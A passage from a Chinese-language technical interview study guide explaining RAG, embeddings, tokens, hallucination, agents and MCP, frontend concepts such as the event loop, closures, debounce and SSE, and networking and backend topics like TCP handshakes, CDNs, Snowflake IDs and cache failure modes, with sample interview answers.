③ 会幻觉 不懂也敢编 有了参考资料,回答有据可依,还能标注来源

完整流程(面试必背,简历项目二的核心):

═══════════ 离线阶段:建库(文档 → 向量库)═══════════

① 文档加载:PDF / Word / Markdown / 网页
       ↓
② 分块 Chunking:把长文档切成 500~1000 字的小段
       ⚠️ 为什么要切?
          - 模型上下文窗口有限
          - 整篇文档向量化会"稀释"语义,检索不准
       ↓
③ 向量化 Embedding:每个 chunk 调模型转成一个向量(如 1536 维)
       ↓
④ 存入向量库:pgvector / Milvus / Chroma


═══════════ 在线阶段:问答(问题 → 答案)═══════════

① 用户提问:"我们公司年假怎么算?"
       ↓
② 问题向量化:把问题也转成向量
       ↓
③ 向量检索:在向量库里找和问题最相似的 Top-K 个 chunk
       (用余弦相似度排序)
       ↓
④ 【可选】重排 Rerank:用更精准的模型重新排序,提升准确率
       ↓
⑤ 拼装 Prompt:
       "请基于以下资料回答问题,只使用资料中的信息,
        如果资料里没有,就说'我不知道',并标注引用来源。
        
        【资料】
        1. {chunk1}
        2. {chunk2}
        3. {chunk3}
        
        【问题】我们公司年假怎么算?"
       ↓
⑥ 调用 LLM 生成答案
       ↓
⑦ 流式输出(SSE)+ 标注引用来源 → 前端打字机效果

RAG vs 微调(面试高频,怎么选):

RAG 微调 Fine-tuning
本质 给模型外挂一个知识库(开卷考试) 改变模型的参数(把知识记进脑子)
知识更新 ✅ 改文档立刻生效 ❌ 要重新训练
成本 低(只需向量化) 高(GPU 训练)
幻觉 少(有参考资料) 仍可能幻觉
可解释 ✅ 能标注来源 ❌ 黑盒
适合 知识问答(90% 的企业场景) 改变风格/格式/领域语言
类比 开卷考试(可以翻书) 闭卷考试(得背下来)

面试怎么说(结合你的项目二):

“我们做的是企业知识库 RAG。核心流程是:文档 → 分块 → Embedding → 存 pgvector; 问答时把问题也向量化,检索 Top-K 相似片段,拼进 Prompt 让 LLM 基于资料回答。 做了几个优化:分块用重叠切分避免语义断裂;加了 Rerank 提升准确率; 用 SSE 做流式输出实现打字机效果;答案标注引用来源,用户能点到原文—— 这点对 B 端很重要,能溯源才敢信。”


Embedding(嵌入 / 向量化)—— 让计算机理解“意思相近”

一句话:把一段文字转成一组数字(比如 1536 个浮点数),意思相近的文字,数字也相近。

为什么要转成数字:

计算机不会"理解"文字,但会算数字。

"苹果手机" 和 "iPhone" → 文字完全不同,但意思一样
"苹果手机" 和 "香蕉牛奶" → 文字像吗?不像,意思也差得远

转成向量后:
  vec("苹果手机") = [0.12, -0.35, 0.78, ...]  ← 1536 个数字
  vec("iPhone")   = [0.11, -0.33, 0.80, ...]  ← 和上面很接近
  vec("香蕉牛奶") = [-0.65, 0.22, -0.11, ...] ← 和上面差很远

怎么衡量“像不像”:

余弦相似度 = cos(θ) = (A · B) / (|A| × |B|)

  值域:[-1, 1]
  1   = 完全同向(意思完全一样)
  0   = 垂直(无关)
  -1  = 完全反向(意思相反)

所以 RAG 检索就是:
  计算"问题向量"和"所有 chunk 向量"的余弦相似度
  → 排序 → 取 Top-K

生活类比: 把每段文字映射到“语义地图”上的一个坐标点。 意思相近的词,在地图上就是邻居。 你问“年假”→ 找到“年假规定”这个邻居 → 把那段文字拿给 AI 看。

面试高频追问:“向量维度越高越好吗?”

不是。维度高表达能力强,但: ① 存储和计算成本高(1536 维 × 100 万条 = 6GB) ② 维度过高会“维度灾难”,相似度区分度下降 一般 768~1536 维够用(OpenAI text-embedding-3-small 是 1536 维)。


Token —— AI 的“计费单位”和“记忆单位”

一句话:AI 不是按“字”或“词”来读文本的,而是按 Token。

Token 大概是什么粒度:

英文:1 token ≈ 4 个字符 ≈ 0.75 个单词
     "hello world" → ["hello", " world"] → 2 tokens
     "unbelievable" → ["un", "believ", "able"] → 3 tokens(长词会被拆开)

中文:1 token ≈ 1~2 个汉字(取决于模型分词器)
     "你好世界" → 可能 4~8 个 token

为什么重要(三个原因):

  1. 计费:API 按 Token 收费(输入 + 输出都算)
  2. 上下文窗口限制:模型一次能处理的总 Token 数有限(如 128K),超了就报错或截断
  3. 性能:Token 越多,生成越慢(输出是一个个 Token 吐出来的)

面试常问的估算:

GPT 类模型:
  中文 1 个汉字 ≈ 1.5~2 tokens
  1000 个汉字 ≈ 1500~2000 tokens

如果你的 Prompt 里有:
  System Prompt 500 tokens + 检索到的 5 个 chunk 各 800 tokens = 4500 tokens
  加上用户问题 100 tokens
  总输入 ≈ 4600 tokens

如果模型上下文是 8K → 还剩 3K 给输出

工程要点:

  • 检索回来的 chunk 要控制总量,别把上下文撑爆
  • System Prompt 要精简(每次请求都要算钱)
  • 长对话要做历史压缩/摘要

幻觉(Hallucination)—— AI 最大的坑

一句话:AI 一本正经地编造不存在的事实,还说得特别自信。

为什么会产生:

LLM 的本质是"预测下一个最可能的 Token"
它【不知道】自己知不知道,只是在生成"看起来合理"的文本

所以:
  - 遇到不懂的问题,它会"编一个最像答案的答案"
  - 而不是说"我不知道"

RAG 怎么缓解幻觉:

① 提供参考资料 → 让答案有据可依
② Prompt 里明确要求:"如果资料里没有,就回答'资料中未提及'"
③ 要求标注引用来源 → 用户能自己验证
④ 设置相似度阈值 → 检索到的内容太不相关,就直接说"没找到"

其他工程手段:

手段 做法
相似度阈值 检索结果相似度 < 0.7 就认为“没找到相关资料”
引用溯源 答案标注来源文档和段落,用户可点开核对
多路召回 + 交叉验证 用不同方式检索,结果一致才采纳
温度调低 Temperature 设 0~0.3,减少随机性
人工审核 高风险场景(医疗、法律)必须人工把关

面试怎么说:

“幻觉是 LLM 的固有特性——它本质是预测下一个 Token,不知道自己’不知道’。 我们项目里用四个手段缓解: 一是 RAG 提供参考资料; 二是 Prompt 里明确要求’资料里没有就说不知道’; 三是答案标注引用来源,用户能溯源核对; 四是设置相似度阈值,检索结果太不相关就直接返回’未找到’。 另外把 Temperature 调到 0.2,减少随机性。”


Function Call 与 Agent

Function Call(函数调用):

一句话:告诉 AI“你有哪些工具可用”,AI 判断该用哪个,返回调用参数,你执行后再把结果给它。

① 你告诉 AI:你有这些工具
   - get_weather(city) 查询天气
   - search_order(orderId) 查订单
   
② 用户问:"北京今天热吗?"

③ AI 返回:【我要调用 get_weather("北京")】
   (注意:AI 不执行,只是"说"要调用)

④ 你的代码执行 get_weather("北京") → 得到 "32°C"

⑤ 你把结果塞回给 AI

⑥ AI 生成最终回答:"北京今天 32°C,比较热。"

关键点:AI 只负责【决定调什么、传什么参数】,【执行由你的代码做】

Agent(智能体):

一句话:能自主规划、循环调用工具、多步完成任务的 AI 系统。

普通 LLM vs Agent:

普通 LLM(一问一答):
  用户:"帮我订明天去上海的机票" → AI:"我无法访问订票系统"

Agent(规划 + 执行 + 反思):
  用户:"帮我订明天去上海的机票"
  ↓
  ① 思考:需要查航班 → 调用 search_flights("上海", "明天")
  ② 观察:返回 5 个航班
  ③ 思考:用户之前说过喜欢上午 → 选择 CA1234
  ④ 行动:调用 book_flight("CA1234")
  ⑤ 观察:预订成功
  ⑥ 回答:"已为您预订 CA1234,明天上午 9:00 起飞"

Agent 的核心循环:

┌─────────────────────────────────────┐
│                                     │
│   Thought(思考):我下一步该做什么?    │
│            ↓                        │
│   Action(行动):调用某个工具          │
│            ↓                        │
│   Observation(观察):工具返回什么?    │
│            ↓                        │
│      任务完成了吗?                    │
│       ├─ 否 → 回到 Thought(循环)     │
│       └─ 是 → 输出最终答案             │
│                                     │
└─────────────────────────────────────┘
  这个循环叫 ReAct(Reasoning + Acting)

MCP(Model Context Protocol):

Anthropic(Claude 的公司)在 2024 年底提出并开源的协议(2025 年被 OpenAI 等采纳)。 一句话:给 AI 连接外部工具/数据源定一个统一标准(类似“AI 界的 USB 接口”)。

没有 MCP 之前:每个 AI 应用要接 GitHub、数据库、Slack,各写各的适配代码(N×M 问题) 有了 MCP:工具方按 MCP 提供 Server,AI 应用按 MCP 接入(N+M 问题)

没有 MCP:   AI应用1 ──┬── GitHub(自己写适配)
                     ├── 数据库(自己写适配)
            AI应用2 ──┴── ...(又写一遍)    → N × M 的工作量

有了 MCP:   AI应用1 ──┐
            AI应用2 ──┼── 统一 MCP 协议 ── GitHub Server
            AI应用3 ──┘                  ── 数据库 Server   → N + M 的工作量

第十二章:前端

这一章对应 09 号文档(《前端基础》)。你的简历定位是全栈,前端会被追问。

12.1 本章速查表

缩写 / 术语 英文全称 一句话白话 在哪篇
SPA Single Page Application 单页应用:整个网站只有一个 HTML,页面切换靠 JS 09
SSR Server-Side Rendering 服务端渲染:HTML 在服务器生成好再发给浏览器 09
CSR Client-Side Rendering 客户端渲染:浏览器下载 JS 后由 JS 生成页面(SPA 的方式) 09
CSR/SSR 首屏 First Contentful Paint 首屏渲染时间 09
SEO Search Engine Optimization 搜索引擎优化,让百度/Google 能搜到你的页面 09
Vue3 Vue.js 3 渐进式前端框架 09
组合式 API Composition API Vue3 的新写法,用 setup() 组织代码(替代 Vue2 的 Options API) 09
响应式 Reactivity 数据变了,页面自动更新 09
虚拟 DOM Virtual DOM 用 JS 对象模拟 DOM 树,通过 diff 减少真实 DOM 操作 09
Diff 算法 Diff Algorithm 比较新旧虚拟 DOM 的差异,只更新变化的部分 09
Pinia Pinia Vue3 官方状态管理库(替代 Vuex) 09
Vite Vite(法语“快”) 新一代前端构建工具,启动极快 09
Axios Axios 前端发 HTTP 请求的库 09
ECharts ECharts 百度开源的图表库,做大屏可视化 09
Element Plus Element Plus 基于 Vue3 的 UI 组件库 09
TypeScript TypeScript 带类型的 JavaScript,编译期能发现错误 09
原型链 Prototype Chain JS 实现继承的机制:对象 → proto → 原型对象 → … 09
闭包 Closure 函数能“记住”并访问它定义时的作用域变量 09
事件循环 Event Loop JS 处理异步的机制(同步 → 微任务 → 宏任务) 09
宏任务/微任务 MacroTask / MicroTask setTimeout 是宏任务,Promise.then 是微任务,微任务先执行 09
防抖 Debounce 频繁触发只执行最后一次(等你不抖了再做) 09
节流 Throttle 频繁触发但每隔一段时间才执行一次(匀速执行) 09/10
虚拟滚动 Virtual Scrolling 只渲染可视区域的行,1 万条数据也不卡 09
跨域 Cross-Origin 浏览器的同源策略限制,不同域名不能互相请求 02/09
路由 Router 前端路由:URL 变了但页面不刷新,由 JS 切换组件 09
状态管理 State Management 多个组件共享的数据集中管理(Pinia) 09
Webpack Webpack 老牌前端打包工具(Vite 出现前的主流) 09

12.2 核心概念详解

SPA vs SSR —— 前端渲染的两种方式

CSR / SPA
客户端渲染
SSR
服务端渲染
HTML 在哪生成 浏览器(JS 执行后生成) 服务器(生成好再发过来)
首屏速度 ❌ 慢(要先下载 JS、执行 JS、再渲染) ✅ 快(拿到 HTML 就能显示)
SEO ❌ 差(爬虫拿到的是空 HTML) ✅ 好(HTML 里有完整内容)
服务器压力 低(渲染在客户端) 高(每个请求都要渲染)
页面切换 ✅ 快(局部更新,不刷新) ❌ 慢(每次都要请求服务器)
适合 后台管理系统、Web App 官网、电商首页、内容站

CSR 的流程图:

① 浏览器请求页面
② 服务器返回一个【几乎空的 HTML】
   <div id="app"></div>
   <script src="app.js"></script>
③ 浏览器下载 app.js(可能几 MB)
④ 执行 JS,生成 DOM,插入 #app
⑤ 页面才显示出来

问题:③④⑤ 期间用户看到的是【白屏】

SSR 的流程图:

① 浏览器请求页面
② 服务器执行 JS,生成【完整的 HTML】(有内容)
③ 浏览器拿到就能立刻显示 ✅
④ 同时下载 JS,之后"激活"(hydration)变成可交互的 SPA

现代方案:同构渲染(SSR + SPA 结合)

首屏用 SSR(快 + SEO 好),后续交互用 SPA(流畅)。 Nuxt(Vue)、Next.js(React)就是干这个的。

面试怎么说(你的项目三零碳云大屏):

“我们的大屏和管理后台是 SPA,因为不需要 SEO、交互多,SPA 切换快、体验好。 如果做官网或需要 SEO 的页面,会用 Nuxt 做 SSR——首屏在服务端渲染好, 之后 hydrate 成 SPA。”


事件循环(Event Loop)—— JS 异步的核心

一句话:JS 是单线程的,靠“事件循环”机制来处理异步,做到“不阻塞”。

为什么需要它:

JS 只有一个线程(一次只能做一件事)。
如果遇到耗时操作(网络请求、定时器),难道要干等着吗?
不行——页面会卡死。

解法:把耗时操作"挂起",等有结果了再回来执行回调。
这个调度机制就是事件循环。

执行顺序(面试必背):

┌──────────────────────────────────────┐
│  ① 执行【同步代码】(调用栈)            │
│     console.log('1')                 │
│                                       │
│  ② 同步执行完,清空【微任务队列】         │
│     Promise.then / queueMicrotask     │
│     MutationObserver                  │
│     ⚠️ 【全部】微任务都要执行完           │
│                                       │
│  ③ 执行【一个】宏任务                    │
│     setTimeout / setInterval          │
│     事件回调 / I/O                     │
│                                       │
│  ④ 回到 ②,再清空微任务                 │
│     (循环往复)                        │
└──────────────────────────────────────┘

口诀:同步 → 全部微任务 → 一个宏任务 → 全部微任务 → ...

经典面试题:

console.log('1');                     // 同步

setTimeout(() => console.log('2'), 0); // 宏任务

Promise.resolve().then(() => {         // 微任务
    console.log('3');
}).then(() => {
    console.log('4');                  // 微任务(链式)
});

console.log('5');                      // 同步

// 输出顺序:1 → 5 → 3 → 4 → 2
// 解析:
//   同步:1, 5
//   微任务:3, 4(Promise 链全部执行完)
//   宏任务:2

易错点:

setTimeout(fn, 0) 不是“立即执行”,而是“尽快执行”—— 它要等同步代码和所有微任务都执行完才轮到它。


闭包(Closure)—— 面试必考

一句话:函数可以“记住”并访问它定义时所在作用域的变量,即使那个作用域已经执行完了。

最小示例:

function outer() {
    let count = 0;              // outer 的局部变量
    return function inner() {   // 返回内部函数
        count++;
        return count;
    };
}

const fn = outer();  // outer 执行完了,count 应该被销毁?
fn();  // 1
fn();  // 2
fn();  // 3  ← count 还在!这就是闭包

为什么会这样:

正常情况下:函数执行完,局部变量被销毁(垃圾回收)
但这里:inner 函数【引用了】outer 的 count
        → JS 引擎发现"还有人用着呢" → 不销毁
        → count 被"包"在了 inner 里 → 【闭包】

闭包的三个常见用途:

// ① 数据私有化(模拟私有变量)
function createCounter() {
    let count = 0;                    // 外部访问不到
    return {
        increment: () => ++count,
        getCount: () => count
    };
}
const c = createCounter();
c.increment();  // 1
c.count;        // undefined ← 访问不到,真正的私有 ✅

// ② 函数柯里化
function add(a) {
    return function(b) {
        return a + b;
    };
}
add(1)(2);  // 3

// ③ 防抖/节流(保存定时器 ID)
function debounce(fn, delay) {
    let timer;                        // 被闭包保存
    return function(...args) {
        clearTimeout(timer);
        timer = setTimeout(() => fn(...args), delay);
    };
}

⚠️ 闭包的坑(面试常问):

// 经典陷阱:循环里的闭包
for (var i = 0; i < 3; i++) {
    setTimeout(() => console.log(i), 100);
}
// 输出:3, 3, 3  ← 不是 0, 1, 2!
// 原因:var 没有块级作用域,三个 setTimeout 共享同一个 i
//      等它们执行时,循环已经结束,i 已经是 3

// 解法1:用 let(块级作用域)
for (let i = 0; i < 3; i++) {
    setTimeout(() => console.log(i), 100);
}
// 输出:0, 1, 2 ✅

// 解法2:IIFE 创建新的作用域
for (var i = 0; i < 3; i++) {
    ((j) => {
        setTimeout(() => console.log(j), 100);
    })(i);
}

内存泄漏风险:

闭包会让变量常驻内存,如果闭包被长期持有(如挂在全局变量上), 那些变量永远不会释放 → 内存泄漏。 解法:不用了就置为 null。


防抖 vs 节流 —— 最容易记混的一对

防抖 Debounce 节流 Throttle
白话 等你不抖了,我才做最后一次 不管你多频繁,我按固定节奏做
触发时机 最后一次触发后,延迟 N 毫秒执行 每隔 N 毫秒,最多执行一次
比喻 电梯:最后一个人才进来,门才关 水龙头:不管你怎么拧,水流速度固定
场景 搜索框输入(停下来了才搜索) 滚动加载、按钮防重复点击
效果 频繁触发 → 只执行 1 次 频繁触发 → 稀释成固定频率

图解:

触发:  ▮ ▮ ▮ ▮ ▮ ▮ ▮ ▮        (用户疯狂点击)

防抖:                    ▮     (只在最后一次停止后执行一次)
        ─────── 等待 N ms ────▶

节流:  ▮       ▮       ▮       (每 N ms 执行一次,匀速)
        ├─ N ──┼─ N ──┼─ N ──┤

代码实现(面试常让手写):

// 防抖
function debounce(fn, delay) {
    let timer = null;
    return function(...args) {
        clearTimeout(timer);              // 每次触发都取消上一次
        timer = setTimeout(() => {
            fn.apply(this, args);
        }, delay);
    };
}

// 节流(时间戳版)
function throttle(fn, delay) {
    let last = 0;
    return function(...args) {
        const now = Date.now();
        if (now - last >= delay) {        // 距上次执行够久了
            fn.apply(this, args);
            last = now;
        }
    };
}

// 节流(定时器版)
function throttle2(fn, delay) {
    let timer = null;
    return function(...args) {
        if (!timer) {
            timer = setTimeout(() => {
                fn.apply(this, args);
                timer = null;
            }, delay);
        }
    };
}

面试怎么说:

“防抖是’等你停下再做最后一次’,适合搜索框——用户每敲一个字都搜太浪费, 等他停 300ms 再搜。 节流是’限制执行频率’,适合滚动监听、按钮防重复点击—— 不管你点多快,我只按固定频率响应。 底层都用闭包保存定时器 ID 或上次执行时间。”


虚拟滚动(Virtual Scrolling)—— 1 万条数据不卡的秘密

一句话:只渲染看得见的那十几行,滚动时动态替换,DOM 节点始终只有几十个。

问题:

表格有 1 万行数据
  → 全渲染 = 1 万个 DOM 节点
  → 浏览器渲染、布局、重排都极慢
  → 页面卡死

解法:

┌─────────────┐
│  可视区域     │ ← 只渲染这里的 ~15 行
│  第 20-34 行  │
├─────────────┤
│  未渲染      │ ← 用空白占位(撑出总高度)
│  (空白)     │
└─────────────┘

实现:
  ① 容器高度固定(如 600px),每行高度固定(如 40px)
  ② 总高度 = 10000 × 40 = 400000px(用一个空 div 撑开,产生滚动条)
  ③ 监听 scroll,计算当前 scrollTop
  ④ visibleStart = Math.floor(scrollTop / 40)
     visibleEnd = visibleStart + Math.ceil(600 / 40)
  ⑤ 只渲染 [visibleStart, visibleEnd] 范围内的数据
  ⑥ 用 transform: translateY() 把渲染的内容偏移到正确位置
  
结果:DOM 节点从 10000 个 → 15 个,丝滑流畅

面试怎么说(你的项目一多步骤表单/大表格):

“我们的资产列表有上万条,全渲染会卡。用了虚拟滚动: 固定行高,只渲染可视区域的十几行,用空白占位撑出滚动高度, 滚动时动态计算可见区间并替换数据,用 transform 定位。 DOM 节点从上万降到几十个,滚动很流畅。 Element Plus 的 el-table-v2 和 vue-virtual-scroller 都封装好了。”


SSE vs WebSocket —— 两种“实时”方案

SSE
Server-Sent Events
WebSocket
方向 单向(服务端 → 客户端) 双向(双方都能发)
协议 基于 HTTP(简单) 独立协议 ws://(要握手升级)
自动重连 ✅ 浏览器原生支持 ❌ 要自己实现心跳和重连
数据格式 纯文本 文本 / 二进制
复杂度 低(几乎就是普通 HTTP) 高(要处理心跳、断线重连)
适合 AI 打字机、新闻推送、进度条 聊天室、协同编辑、实时监控

SSE 为什么适合 AI 流式输出(你的项目二):

AI 生成答案是一个 Token 一个 Token 吐出来的
  → 需要一个"服务端持续往客户端推"的通道
  → SSE 天然单向(服务端推给客户端),正好 ✅
  → 而且浏览器原生自动重连,不用自己写
  → 基于 HTTP,不需要额外协议,后端实现简单(Content-Type: text/event-stream)

SSE 数据格式:

HTTP/1.1 200 OK
Content-Type: text/event-stream

data: 你好
data: 世界

event: customEvent
data: {"key": "value"}

id: 123
retry: 10000
data: 这条消息 id 是 123,重连间隔 10 秒

前端用法:

const es = new EventSource('/api/chat/stream');
es.onmessage = (event) => {
    // 每收到一个 Token 就追加显示 → 打字机效果
    answerText.value += event.data;
};
es.onerror = () => {
    // SSE 会自动重连,这里只处理异常
};

面试怎么说:

“AI 的打字机效果用 SSE。它基于 HTTP,服务端设置 Content-Type: text/event-stream, 持续往客户端推 data。相比 WebSocket,SSE 是单向的,但我们只需要服务端推给客户端, 而且浏览器原生支持自动重连,实现简单很多。 项目三的实时监控大屏用 WebSocket,因为需要双向交互(主动订阅设备、切换拓扑)。”


第十三章:通用概念与网络

13.1 本章速查表

缩写 / 术语 英文全称 一句话白话 在哪篇
HTTP HyperText Transfer Protocol 超文本传输协议,Web 通信的基础 02/06/07/08/09/10
HTTPS HTTP Secure HTTP + TLS 加密 09
TCP Transmission Control Protocol 传输控制协议:可靠、面向连接(会重传) 04/10
UDP User Datagram Protocol 用户数据报协议:不可靠、无连接(快,可能丢) 04
三次握手 Three-Way Handshake TCP 建立连接的三个包 04/09
四次挥手 Four-Way Wavehand TCP 断开连接的四个包 04/09
DNS Domain Name System 域名系统:把 www.baidu.com 解析成 IP 04/07
CDN Content Delivery Network 内容分发网络:把资源缓存到离用户最近的节点 04/07/09
REST Representational State Transfer 一种 API 设计风格(用 GET/POST/PUT/DELETE) 02/06/09
RESTful — 符合 REST 风格的 API 09
API Application Programming Interface 应用程序接口,别人能调用你的功能 全篇
SDK Software Development Kit 软件开发工具包,别人封装好给你用的一套库 06/07
JSON JavaScript Object Notation 轻量级数据交换格式({} 和 []) 02/03/08/09/10
YAML YAML Ain’t Markup Language 配置文件格式(缩进表示层级) 02/07
XML eXtensible Markup Language 可扩展标记语言(老式配置/数据格式) 02/03
CSV Comma-Separated Values 逗号分隔的纯文本表格 03/05
CRUD Create, Read, Update, Delete 增删改查,最基础的数据操作 01/02/03
UUID Universally Unique Identifier 通用唯一标识符,128 位随机字符串 03/10
Snowflake Snowflake(雪花算法) Twitter 的分布式 ID 生成算法,64 位 long 03/10
长连接 Persistent Connection 建立一次连接,多次复用(不每次都握手) 04/09
心跳 Heartbeat 定期发小包,确认对方还活着 04/09
同步 / 异步 Sync / Async 等着结果 vs 不等结果(回调/通知) 全篇
阻塞 / 非阻塞 Blocking / Non-blocking 线程挂起等 vs 立刻返回(可以干别的) 全篇
IO 多路复用 IO Multiplexing 一个线程监听多个连接(select/poll/epoll) 01/04

13.2 核心概念详解

同步/异步 vs 阻塞/非阻塞 —— 两对容易混的概念

这是面试的经典陷阱题,两对概念完全不同,不要混着说。

同步 / 异步
(关注结果怎么拿到)
阻塞 / 非阻塞
(关注等待时线程在干嘛)
同步 调用者主动等/主动取结果 —
异步 被调用者通知/回调结果 —
阻塞 — 线程挂起,啥也干不了,直到结果返回
非阻塞 — 线程立刻返回,可以去干别的

四种组合(以“去餐馆点餐”为例):

阻塞 非阻塞
同步 排队等着,拿到餐才走
(同步阻塞)
点完去看手机,但每隔一会儿要去问“好了没”
(同步非阻塞,轮询)
异步 —(不存在,异步一定是非阻塞) 拿个取餐号,该干嘛干嘛,好了会叫你
(异步非阻塞)

技术上的对应:

同步阻塞  :Socket.read() 传统 BIO     ← 最简单,但一个连接一个线程
同步非阻塞:NIO 的轮询                 ← 一个线程能管多个连接,但要不断轮询
异步非阻塞:AIO / 回调 / CompletableFuture ← 最高效,好了通知你

IO 多路复用(select/poll/epoll):
  一个线程监听多个连接,哪个连接有数据了就处理哪个
  → Redis、Netty、Nginx 都用它实现高并发

UUID vs Snowflake —— 两种分布式 ID

UUID Snowflake(雪花算法)
长度 128 位(36 字符字符串) 64 位 long(8 字节)
有序吗 ❌ 完全无序 ✅ 趋势递增(按时间)
性能 中(生成要随机数) 极高(本地生成,无网络/无锁)
索引友好 ❌ 差(无序导致 B+Tree 频繁页分裂) ✅ 好(递增插入,索引效率高)
可读性 差 好(纯数字)
能看出时间吗 不能 ✅ 能(时间戳部分)
适合 对性能要求不高的场景、临时标识 数据库主键、订单号、消息 ID

Snowflake 的结构(64 位 long):

 0                   41                  51          64
 ┌─┬──────────────────┬──────────┬──────────────┐
 │0│   时间戳(41位)     │机器ID(10) │  序列号(12)   │
 └─┴──────────────────┴──────────┴──────────────┘
  │        │              │            │
  │        │              │            └─ 同一毫秒内的自增序号(每毫秒 4096 个)
  │        │              └────────────── 最多 1024 台机器
  │        └───────────────────────────── 毫秒级时间戳,可用 69 年
  └────────────────────────────────────── 符号位,恒为 0(保证是正数)

QPS 上限:1024 × 4096 × 1000 = 42 亿/秒(理论值)

面试高频:时钟回拨问题:

问题:Snowflake 依赖机器时钟。如果时钟被回拨(NTP 同步、人为调整),
      可能生成重复 ID。

解法:
  ① 直接抛异常,拒绝服务(简单粗暴)
  ② 检测到回拨,等待时钟追上
  ③ 记录上次生成时间戳,回拨小于阈值就等待,大于就报错
  ④ 扩展:百度 UidGenerator、美团 Leaf 都做了改进(用 ZK 分配机器 ID、解决时钟回拨)

面试怎么说:

“我们订单 ID 用雪花算法,不用 UUID。 因为 UUID 是无序的 128 位字符串,作为 MySQL 主键插入时会导致 B+Tree 频繁页分裂, 严重影响写入性能和存储空间。 雪花算法是 64 位 long,趋势递增,索引友好,本地生成无网络开销,单机每毫秒能生成 4096 个。 时钟回拨的问题我们用’记录上次时间戳 + 回拨超阈值报错’来处理。”


TCP 三次握手与四次挥手

三次握手(建立连接):

客户端                          服务端
   │                              │
   │──── ① SYN=1, seq=x ────────▶│   "我要连你"
   │                              │
   │◀─── ② SYN=1,ACK=1,seq=y, ───│   "好的,我也要连你"
   │         ack=x+1              │
   │                              │
   │──── ③ ACK=1, ack=y+1 ──────▶│   "好,连上了"
   │                              │
   
为什么是三次?两次不行吗?
  两次握手的问题:
    客户端发了个连接请求,网络堵了,超时重发了一个,连上了,用完断了
    结果第一个请求姗姗来迟,服务端以为是新连接,就建立了连接等着
    但客户端根本不知道 → 【服务端白白浪费资源】
  
  三次握手:客户端最后要再确认一次,服务端才知道"这是真的"
  (本质是:双方都要确认【对方的发送能力】和【自己的接收能力】都正常)

四次挥手(断开连接):

客户端                          服务端
   │──── ① FIN ─────────────────▶│   "我说完了"(我不再发数据了)
   │◀─── ② ACK ──────────────────│   "知道了"(但我可能还有话要说)
   │                              │
   │◀─── ③ FIN ──────────────────│   "我也说完了"
   │──── ④ ACK ─────────────────▶│   "好,挂吧"
   │                              │
   │    等待 2MSL 后关闭            │   立即关闭

为什么是四次?
  因为 TCP 是全双工的(双向都能发数据)
  一方说"我说完了",另一方可能还有数据没发完
  所以"我完了"和"你也完了"要分开发 → 四次

为什么要等 2MSL?
  ① 确保最后一个 ACK 能到达对方(丢了对方会重发 FIN,我能收到再处理)
  ② 让本次连接的残留报文在网络中消散,避免影响下次连接

CDN(Content Delivery Network,内容分发网络)

一句话:把你的资源(图片、JS、视频)缓存到全国/全球的边缘节点,用户就近取,速度快。

没有 CDN:

北京的用户访问深圳的服务器 → 跨大半个中国 → 延迟 50ms+
新疆的用户访问深圳的服务器 → 跨整个中国 → 延迟 100ms+

有 CDN:

北京的用户 → 北京 CDN 节点(有缓存)→ 5ms
新疆的用户 → 新疆 CDN 节点(有缓存)→ 5ms
(CDN 节点没有缓存时,才回源站取)

工作流程:

① 用户请求 img.example.com/logo.png
② DNS 解析时,CNAME 指向 CDN,CDN 的 DNS 根据用户 IP 返回【最近的节点 IP】
③ 用户请求该节点
   ├─ 节点有缓存 且 未过期 → 直接返回(【命中】)✅
   └─ 没有/过期 → 【回源】到源站取 → 缓存 → 返回

CDN 解决的问题:

  1. 延迟:就近访问
  2. 带宽成本:源站带宽压力大幅降低
  3. 可用性:源站挂了,CDN 缓存还能撑一阵
  4. 抗攻击:DDoS 流量被 CDN 分散吸收

面试要点:CDN 缓存更新问题

问题:你更新了 logo.png,但 CDN 节点还是旧的
解法:
  ① 版本号/指纹:logo.v2.png 或 logo.a1b2c3.png(改文件名)★ 最推荐
  ② 主动刷新:调 CDN 提供的 API 刷新缓存
  ③ 设置合理的 Cache-Control / TTL

13.3 第十三章小结

【网络分层速记】

应用层    HTTP / HTTPS / DNS / WebSocket
传输层    TCP(可靠)/ UDP(快)
网络层    IP
链路层    以太网

【一个请求的全过程】
输入 www.baidu.com
  → DNS 解析成 IP
  → TCP 三次握手
  → 发 HTTP 请求
  → 服务端处理并返回
  → 浏览器渲染
  → (长连接则复用,否则四次挥手)

第十四章:易混概念对比(面试最容易翻车的地方)

这一章专门收录那些长得像、听起来像、但完全不是一回事的概念。 面试官最爱拿这些“连环追问”,答混了直接露馅。 面试前一天过一遍这一章,性价比最高。

14.1 缓存三兄弟:穿透 / 击穿 / 雪崩

穿透 击穿 雪崩
一句话 查不存在的数据 单个热点 key 过期 大批 key 同时过期
数据库里有吗 没有 有 有
失效范围 每次都不命中 1 个 key 成千上万个 key
危害 数据库被无效请求拖垮 数据库被单点流量打爆 数据库被全量流量打爆
解法 布隆过滤器 / 缓存空值 分布式锁 / 逻辑过期 TTL 随机化 / 多级缓存

记忆口诀:穿透是查无此物,击穿是一点击破,雪崩是成片崩塌。


14.2 容错三剑客:限流 / 熔断 / 降级

限流 熔断 降级
保护对象 保护自己 保护调用方 保护核心业务
触发时机 流量进来时 下游出错时 系统承压时
做法 超出的拒绝 断开,快速失败 返回兜底数据
主动性 主动(预防) 被动(止损) 兜底(让步)
比喻 门口限流排队 保险丝烧断 走应急通道

14.3 分布式事务四方案:2PC / TCC / Saga / 消息队列

2PC/XA TCC Saga 可靠消息最终一致
一致性 强一致 接近强一致 最终一致 最终一致
锁在哪 数据库层 业务层 无锁(直接提交) 无锁
侵入性 低 高(写 3 个接口) 中(写补偿) 低
性能 最差 好 好 最好
适用场景 传统金融核心 资金、库存(可预留) 长流程、无回滚接口 互联网主流
隔离性 好 好(有预留) 差(会脏读) 差

一句话选型:能异步就异步(MQ)→ 可预留才 TCC → 长流程用 Saga → 只有金融核心用 2PC。


14.4 消息投递三语义:At Most / At Least / Exactly Once

At Most Once At Least Once Exactly Once
会丢吗 会丢 不会 不会
会重复吗 不会 会重复 不会
实现 发完不管 失败重试(MQ 默认) At Least Once + 消费端幂等

关键认知:没有 MQ 能单独做到 Exactly Once,必须业务侧做幂等。


14.5 缓存淘汰:LRU vs LFU

LRU(最近最少使用) LFU(最少使用)
看什么 多久没被访问 被访问的次数
保护 刚访问过的 长期热门的
怕什么 一次性批量扫描污染 历史包袱(老热点赖着不走)
解法 — 频率衰减

Caffeine 的 W-TinyLFU 综合两者:1% LRU 窗口接纳新数据 + 频率统计决定去留 + 定期衰减。


14.6 RAG vs 微调

RAG 微调
本质 外挂知识库(开卷考试) 改变模型参数(背下来)
